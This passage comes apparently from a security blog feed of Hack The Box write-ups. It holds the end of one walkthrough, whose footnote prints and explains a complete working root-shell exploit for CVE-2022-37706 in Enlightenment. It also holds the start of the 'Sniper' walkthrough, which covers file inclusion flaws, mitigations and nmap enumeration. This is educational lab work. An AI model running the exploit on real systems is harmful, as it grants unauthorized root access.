https://substackcdn.com/image/fetch/$s_!BWGq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 848w, https://substackcdn.com/image/fetch/$s_!BWGq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 1272w, https://substackcdn.com/image/fetch/$s_!BWGq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BWGq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png" width="1150" height="331" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/af614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:331,&quot;width&quot;:1150,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:70792,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BWGq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 424w, https://substackcdn.com/image/fetch/$s_!BWGq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 848w, https://substackcdn.com/image/fetch/$s_!BWGq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 1272w, https://substackcdn.com/image/fetch/$s_!BWGq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The exploit from searchsploit did not work initially, but a similar version found on GitHub by <a href="https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh">MaherAzzouzi</a> worked<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-2" href="#footnote-2" target="_self">2</a>. </p><div class="pullquote"><p>The exploit relates to <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-37706">CVE-2022-37706</a>, which details a Local Privilege Escalation concerning the Enlightenment window manager, particularly the enlightenment_sys binary before version 0.25.4. This vulnerability allows local users to gain elevated privileges due to improper handling of pathnames beginning with /dev/... The enlightenment_sys binary is setuid root, meaning it executes with root privileges regardless of which user runs it.</p></div><p>The raw file was copied to a .sh file on the target, and permissions were set and executed. The exploit successfully popped a root shell.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FFXY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FFXY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 424w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 848w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 1272w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FFXY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png" width="1097" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:1097,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:55518,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FFXY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 424w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 848w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 1272w, https://substackcdn.com/image/fetch/$s_!FFXY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51af8de6-68d3-4b99-a14b-3970bb72be21_1097x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And the final flag is found.</p><p></p><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><h3>What does &#8220;unknown SUID binary&#8221; mean?</h3><p>When <code>linpeas</code> reports an "unknown SUID binary," it indicates that it has found a file on the system with the SUID (Set User ID) bit set, which is not commonly recognised or known.</p><h4>What is a SUID Binary?</h4><p>The SUID bit is a special permission that allows a file to be executed with the privileges of the file's owner rather than the user running the file. If the SUID binary is not properly managed, this can be a potential security risk, as it could be exploited to gain elevated privileges.</p></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-2" href="#footnote-anchor-2" class="footnote-number" contenteditable="false" target="_self">2</a><div class="footnote-content"><h3>Explanation of the Exploit Script for CVE-2022-37706</h3><p>The exploit relates to <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-37706">CVE-2022-37706</a>, which details a Local Privilege Escalation concerning the Enlightenment window manager, particularly the enlightenment_sys binary before version 0.25.4. This vulnerability allows local users to gain elevated privileges due to improper handling of path names beginning with /dev/... The enlightenment_sys binary is setuid root, meaning it executes with root privileges regardless of which user runs it.</p><p>This Bash script exploits the vulnerability to gain root privileges. </p><p>Here&#8217;s a step-by-step breakdown of how the script works:</p><pre><code>#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."</code></pre><ul><li><p>The script begins by printing information about the CVE-2022-37706 vulnerability.</p></li><li><p>It notifies the user that it is searching for the vulnerable SUID binary.</p></li></ul><pre><code>file=$(find / -name enlightenment_sys -perm -4000 2&gt;/dev/null | head -1)</code></pre><ul><li><p>This line uses the <code>find</code> command to search the entire filesystem for a file named <code>enlightenment_sys</code> with the SUID bit set (<code>-perm -4000</code>).</p></li><li><p>The <code>2&gt;/dev/null</code> part suppresses error messages from the <code>find</code> command.</p></li><li><p>The <code>head -1</code> part ensures that only the first result is stored in the <code>file</code> variable.</p></li></ul><pre><code>if [[ -z ${file} ]]
then
    echo "[-] Couldn't find the vulnerable SUID file..."
    echo "[*] Enlightenment should be installed on your system."
    exit 1
fi</code></pre><ul><li><p>This checks if the <code>file</code> If the variable is empty, the script prints an error message indicating that the vulnerable SUID file was not found and exits.</p></li><li><p>This suggests that Enlightenment is not installed or the vulnerable file is absent.</p></li></ul><pre><code>echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"</code></pre><ul><li><p>The script confirms that the vulnerable SUID binary was found.</p></li><li><p>It creates two directories: <code>/tmp/net</code> and <code>/dev/../tmp/;/tmp/exploit</code>. The second directory path includes special characters and relative paths to exploit the vulnerability.</p></li></ul><pre><code>echo "/bin/sh" &gt; /tmp/exploit
chmod a+x /tmp/exploit</code></pre><ul><li><p>The script writes the path to the shell executable (<code>/bin/sh</code>) into a file named <code>/tmp/exploit</code>.</p></li><li><p>It makes this file executable with <code>chmod a+x</code>.</p></li></ul><pre><code>echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net</code></pre><ul><li><p>The script prints a message indicating it is attempting to gain a root shell.</p></li><li><p>It executes the vulnerable SUID binary (<code>enlightenment_sys</code>) with specific arguments designed to exploit the vulnerability:</p><ul><li><p>The <code>mount</code> command is used with various options.</p></li><li><p>The special pathname <code>/dev/../tmp/;/tmp/exploit</code> is crafted to bypass security checks and execute <code>/tmp/exploit</code> as root.</p></li><li><p>This effectively runs <code>/bin/sh</code> with root privileges.</p></li></ul></li></ul><h4>Summary</h4><p>The script exploits the CVE-2022-37706 vulnerability by:</p><ol><li><p>Finding the <code>enlightenment_sys</code> binary with the SUID bit set.</p></li><li><p>Creating directories and files to prepare for the exploit.</p></li><li><p>Using a specially crafted pathname to trick the vulnerable binary into executing a shell with root privileges.</p></li></ol></div></div>]]></content:encoded></item><item><title><![CDATA[Sniper]]></title><description><![CDATA[Remote File Inclusion and poor application control.]]></description><link>https://www.emdeh.com/p/sniper</link><guid isPermaLink="false">https://www.emdeh.com/p/sniper</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Sat, 01 Jun 2024 09:18:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!a5id!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a5id!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a5id!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!a5id!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!a5id!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!a5id!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a5id!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png" width="1400" height="1138" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1138,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:376158,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a5id!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!a5id!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!a5id!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!a5id!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7adfa6c8-0c1b-4014-8756-7b0300f096fe_1400x1138.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>Sniper is rated as a medium difficulty. It begins with enumerating a PHP ISS web server and exploiting an LFI and RFI vulnerability to obtain initial access. Hardcoded credentials in a database script and password reuse allow for lateral movement. Privilege escalation is achieved by exploiting poor application control.</p><h2>Contents</h2><ul><li><p><a href="https://www.emdeh.com/i/145249514/introduction">Introduction</a></p><ul><li><p><a href="https://www.emdeh.com/i/145249514/vulnerabilities-explored">Vulnerabilities explored</a></p><ul><li><p><a href="https://www.emdeh.com/i/145249514/local-file-inclusion-lfi">Local File Inclusion</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/remote-file-inclusion-rfi">Remote File Inclusion</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/insecure-coding-hardcoded-credentials">Hardcoded credentials</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/password-reuse">Password reuse</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/poor-application-control">Poor Application Control</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145249514/tools">Tools</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/tactics-and-methods">Tactics and Methods</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145249514/enumeration">Enumeration</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/initial-access">Initial access</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/lateral-movement">Lateral movement</a></p></li><li><p><a href="https://www.emdeh.com/i/145249514/privilege-escalation">Privilege escalation</a></p></li></ul><div><hr></div><h2>Vulnerabilities explored</h2><h3>Local File Inclusion (LFI)</h3><p>Local File Inclusion (LFI) occurs when an attacker exploits a web application's functionality to include files on the server. This happens due to improper user input validation to specify file paths, allowing the attacker to manipulate the path to include unintended files.</p><p><strong>Mitigation</strong> </p><p>To prevent LFI vulnerabilities, consider the following measures:</p><ol><li><p><strong>Input Validation:</strong> Strictly validate and sanitise user inputs to ensure they do not contain malicious file path manipulations.</p></li><li><p><strong>Use Whitelisting:</strong> Only allow predefined, trusted files to be included, avoiding dynamic inclusion based on user input.</p></li><li><p><strong>Disable Directory Traversal:</strong> Implement measures to prevent directory traversal (e.g., <code>../</code>) attacks.</p></li><li><p><strong>Restrict File Access:</strong> Limit the files that can be included to those within a specific directory and restrict access to sensitive directories.</p></li><li><p><strong>Error Handling:</strong> Implement proper error handling to avoid exposing file paths and system details.</p></li></ol><h3>Remote File Inclusion (RFI)</h3><p>Remote File Inclusion (RFI) occurs when an attacker exploits a web application's functionality, including files from remote servers. This vulnerability arises when user input is used to specify file paths, and the application includes files from external sources without proper validation.</p><p>Mitigation To prevent RFI vulnerabilities, consider the following measures:</p><ol><li><p><strong>Input Validation:</strong> Ensure all user inputs are strictly validated and sanitized to prevent the inclusion of remote URLs.</p></li><li><p><strong>Disable URL Includes:</strong> Configure the server to disable the inclusion of remote files via URL.</p></li><li><p><strong>Use Whitelisting:</strong> Allow only predefined, trusted files to be included and avoid dynamic inclusion based on user input.</p></li><li><p><strong>Secure Configuration:</strong> Ensure that configuration settings do not allow file inclusion from external sources.</p></li><li><p><strong>Error Handling:</strong> Implement proper error handling to avoid exposing file paths and system details.</p></li></ol><h4>Example Mitigation for Both LFI and RFI</h4><ol><li><p><strong>Use HTTPS:</strong> Ensure all communication between the client and server is encrypted to prevent man-in-the-middle attacks.</p></li><li><p><strong>Security Audits:</strong> Regularly perform security audits and code reviews to identify and fix potential LFI and RFI vulnerabilities.</p></li><li><p><strong>Keep Software Updated:</strong> Regularly update the web server, application, and dependencies to the latest versions with security patches.</p></li></ol><p>By following these practices, you can significantly reduce the risk of LFI and RFI vulnerabilities in your web applications.</p><h3>Insecure coding - hardcoded credentials</h3><p>Similarly to <a href="https://www.emdeh.com/i/145013446/insecure-coding-hardcoded-credentials">IClean </a>and <a href="https://emdeh.com/blog/2024/headleass-walkthrough/#vulnerabilities-explored">Headless</a>, insecure coding practices can lead to significant attack vectors. In this case, database credentials were hard coded, enabling lateral movement.</p><h3>Password reuse</h3><p>Password reuse occurs when individuals use the same password across multiple accounts or systems. This practice can lead to significant security risks because if one account is compromised, attackers can use the same password to access other accounts belonging to the same user.</p><p>Mitigation To prevent the risks associated with password reuse, consider the following measures:</p><ol><li><p><strong>Password Policies:</strong> Enforce strong password policies that require unique passwords for each account and system.</p></li><li><p><strong>Password Managers:</strong> Encourage the use of password managers to generate and store complex, unique passwords for different accounts.</p></li><li><p><strong>Regular Password Changes:</strong> Implement policies that require users to change their passwords regularly, reducing the risk of long-term password reuse.</p></li><li><p><strong>Multi-Factor Authentication (MFA):</strong> Implement MFA to add an extra layer of security, ensuring that even if a password is reused, unauthorized access is still prevented.</p></li><li><p><strong>Monitoring and Alerts:</strong> Monitor for unusual login activities and set up alerts for potential password reuse incidents.</p></li><li><p><strong>User Education:</strong> Educate users about the risks of password reuse and provide training on creating and managing strong, unique passwords.</p></li><li><p><strong>Breached Password Checks:</strong> Regularly check for breached passwords and notify users to change their passwords if their credentials have been exposed in a breach.</p></li><li><p><strong>Centralized Authentication:</strong> Use centralized authentication systems (e.g., single sign-on) that reduce the need for multiple passwords across different systems.</p></li></ol><p>Implementing these measures can significantly reduce the risk associated with password reuse and enhance the overall security of your systems and accounts.</p><h3>Poor Application Control</h3><p>Poor application control refers to the lack of effective mechanisms to manage and restrict the execution of applications within an organisation's IT environment. This can lead to the execution of unauthorised or malicious software, increasing the risk of security breaches, data loss, and system compromise.</p><h4>Essential Eight: Application Control Requirements</h4><p>Application Control is one of the <a href="https://www.emdeh.com/p/application-control">Essential Eight strategies</a>. Application Control specifically calls out .chm files as a file type that should not be executable. At a minimum for Maturity Level 1:<br></p><blockquote><p><em>The execution of executables, software libraries, scripts, installers, <strong>compiled HTML</strong>, HTML applications and control panel applets is prevented on workstations from within standard user profiles and temporary folders used by the operating system, web browsers and email clients.</em></p></blockquote><p><br>And for good reason, as the following will demonstrate.</p><h2>Tools</h2><ul><li><p>Nmap</p></li><li><p>Gobuster</p></li><li><p>Burpsuite</p></li><li><p>Crackmapexec</p></li><li><p>SMBMap</p></li><li><p>HTML Help Workshop tool</p></li></ul><h2>Tactics and Methods</h2><h3>Enumeration</h3><ul><li><p>Nmap was used to perform initial network scanning.</p></li><li><p>Gobuser was used to enumerate site pages, identifying the initial vector on the /blog page.</p></li></ul><h3>Validating file inclusion with a LFI vulnerability</h3><ul><li><p>Burpsuite was used to manipulate the HTTP requests to validate the Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities.</p></li></ul><h3>Achieving remote code execution with an RFI vulnerability</h3><ul><li><p>Burpsuite, Netcat, and SMBMap were applied to achieve remote code execution on the server via the RFI vulnerability.</p></li></ul><h3>Privilege escalation by exploiting poor Application Control</h3><ul><li><p>The HTML Help Workshop Tool was used to exploit poor application control to achieve privilege escalation.</p></li></ul><div><hr></div><h1>Enumeration</h1><h2>Network scanning</h2><p>As always, we start with a network scan of the target<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a>.</p><pre><code><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper/scans]
&#9492;&#9472;$ sudo nmap -sV -sT -O -A -p- 10.129.229.6 | tee nmap-output.txt</code></code></pre><pre><code>Nmap scan report for 10.129.229.6
Host is up (0.68s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Sniper Co.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: broadband router|specialized|router
Running (JUST GUESSING): OneAccess embedded (89%), AVtech embedded (86%), Linksys embedded (85%)
OS CPE: cpe:/h:oneaccess:1641
Aggressive OS guesses: OneAccess 1641 router (89%), AVtech Room Alert 26W environmental monitor (86%), Linksys BEFSR41 EtherFast router (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-06-03T09:05:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: 6h59m59s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   821.00 ms 10.10.14.1
2   873.51 ms 10.129.229.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 635.09 seconds</code></pre><h3>Findings</h3><h4>Open Ports and Services</h4><ul><li><p>80/TCP(HTTP)</p><ul><li><p>Running Microsoft IIS httpd 10.0.</p></li><li><p>Potentially risky HTTP methods are available, such as TRACE.</p></li><li><p>The web server title is "Sniper Co."</p></li></ul><p></p></li><li><p> 135/TCP (Microsoft Windows RPC)</p><ul><li><p>Could be used to explore remote procedure calls and potentially exploit vulnerabilities.</p></li></ul><p></p></li><li><p>139/TCP(NetBIOS-SSN) and 445/TCP (Microsoft-ds?)</p><ul><li><p>These ports are often associated with SMB services, which might be vulnerable to SMB exploits.</p></li></ul><p></p></li><li><p>49667/TCP (Microsoft Windows RPC)</p><ul><li><p>Another RPC service has a similar potential for exploration as port 135.</p></li></ul></li></ul><h4>OS and Device Information</h4><ul><li><p>Operating System</p><ul><li><p>Detected as Windows, with additional CPE (Common Platform Enumeration) indicating Microsoft 